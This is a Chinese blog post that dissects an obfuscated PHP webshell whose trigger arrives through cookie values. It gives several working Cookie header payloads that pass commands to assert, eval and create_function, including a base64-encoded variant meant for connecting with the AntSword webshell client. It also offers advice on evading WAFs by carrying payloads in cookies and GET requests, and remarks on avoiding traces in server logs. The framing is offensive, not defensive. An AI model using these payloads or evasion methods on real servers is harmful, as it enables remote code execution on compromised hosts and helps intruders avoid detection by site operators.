前言
1 | <?php |
星球里有很多同学想让我对这个shell写一篇解析，看了下确实比较有意思，并且顺便也想讲一些自己的想法。
语法分析
比较复杂的样子，一点点看吧。
首先$p等价于$cookie数组，属性是一个array。
后面一长串其实是个三段式
第一部分：条件
1 | (count($p)==23&&in_array(gettype($p).count($p),$p)) |
也就是说$p这个字典的长度要必须是23，并且gettype($p).count($p)拼接后的值必须在$p这个字典里。
因为$p是array，count($p)=23，所以也就是说cookie中必须有一个值是array23
第二部分：条件成立时执行
1 | (($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()) |
注意这里已经出现了变量函数的部分了 ,这两句将是后面讲的重点
$p[59]($p[91]) 可以变为 assert($_POST['cmd'])等等
$p=$p[91]($p[90],$p[59]($p[31])) 可以变为create_function('',eval($_POST[cmd]))等等
第三部分：条件不成立时执行
这部分没卵用。
Payload
这是某论坛大佬给出的payload
可以看到是相当于拼接了一个eval(strrev(倒置的create_function(,eval($_POST[cmd]))))(差不多这个意思)
然后就可以用密码是cmd的一句话连接了。
但是想一想，因为里面有大量的可控参数，所以其实有很多玩法。
举几个例子
最短的用法，91处直接写命令
为了方便我把$p给var_dump了出来
1 | Cookie: 1; 2; 3; 4; 5; 6; 7; 8; 9; 10; 11; 12; 13; 14; 15; 16; 17; 18=array23; 19; 20; 59=assert; 72=; 91=phpinfo(); |
还可以通过GET传参
1 | Cookie: 1; 2; 3; 4; 5; 6; 7; 8; 9; 10; 11; 12; 13; 14; 15; 16; 17; 18=array23; 19; 20; 59=assert; 72=; 91=@eval($_GET[a]); |
当然也可以改成POST，用蚁剑连接
1 | Cookie: 1; 2; 3; 4; 5; 6; 7; 8; 9; 10; 11; 12; 13; 14; 15; 16; 17; 18=array23; 19; 20; 59=assert; 72=; 91=@eval($_POST[a]); |
直接在cookie里明文出现@eval($_POST[a]);肯定是不太好的，容易被拦截。
我们别忘了第二处出现变量函数的地方
1 | ($p=$p[91]($p[90],$p[59]($p[31])))&&$p()) |
这里可以满足我们的各种编码需求。
论坛中的payload是用strrev函数编码过的，也就是字符串反转，我们当然也可以用其他的比如base64
1 | Cookie: 1; 2; 3; 4; 5; 6; 7; 8; 9; 10; 11; 12; 13; 14; 15; 16; 17; 18=array23; 31=ZXZhbChwaHBpbmZvKCkpOw==; 90; 59=base64_; 72=decode; 91=Y3JlYXRlX2Z1bmN0aW9u; |
其中31是eval(phpinfo()); 91是create_function
转化成蚁剑能够连接的一句话
也就是把31处改为eval($_POST[cmd]);的base64编码，注意这里最后一定要加分号。
然后用蚁剑连接就可以了。
反思扩展
总结一下这个shell构思的巧妙之处
shell没有明显的
eval assert $_POST $_GET等常规特征动态函数的形式，可以用多种编码进行传输payload
用cookie传payload，在一定程度上逃避WAF常见的POST跟GET型流量查杀
这里就想到一个问题，在网络对♂抗的时候经常有人发出疑问：
我的shell是免杀的，我的马也藏得很深，但是为什么我的shell总是能被对方找到？
尽管你的shell是免杀的，也藏在了很深的目录，也有可能你的流量也是层层编码过的，但是常见的一句话连接工具不管是菜刀还是蚁剑还是冰蝎也好，都难逃一个特点就是POST传输。
因为正常的业务中，大多数情况下都是只需GET请求，只有修改或者上传等操作的时候才需要POST。
但是一旦你的shell连接上后，你在蚁剑中的每个操作，每个查询，都会对应一次甚至多次POST发包。
就更别说你需要在靶机上继续进行信息搜集等操作了，点的越多，流量日志记录的就越多。
日志中看到某一个文件短时间内被同一IP连着POST了几十次，用脚趾头想想就知道有问题。。。然而大多数人并不懂得如何正确擦屁股。
所以在我看来，以后的方向可能就是GET请求+cookie或者http头传输payload。
kali上著名的工具weevely也是采用了GET传payload的模式：Weevely命令传输分析
但是命令行总是不方便，如果能够用拓展性强大的蚁剑能实现就好了。
那么如何实现呢?
这个等我学会了再给大家分享。。。。。。
留下了不学无术的泪水.jpg
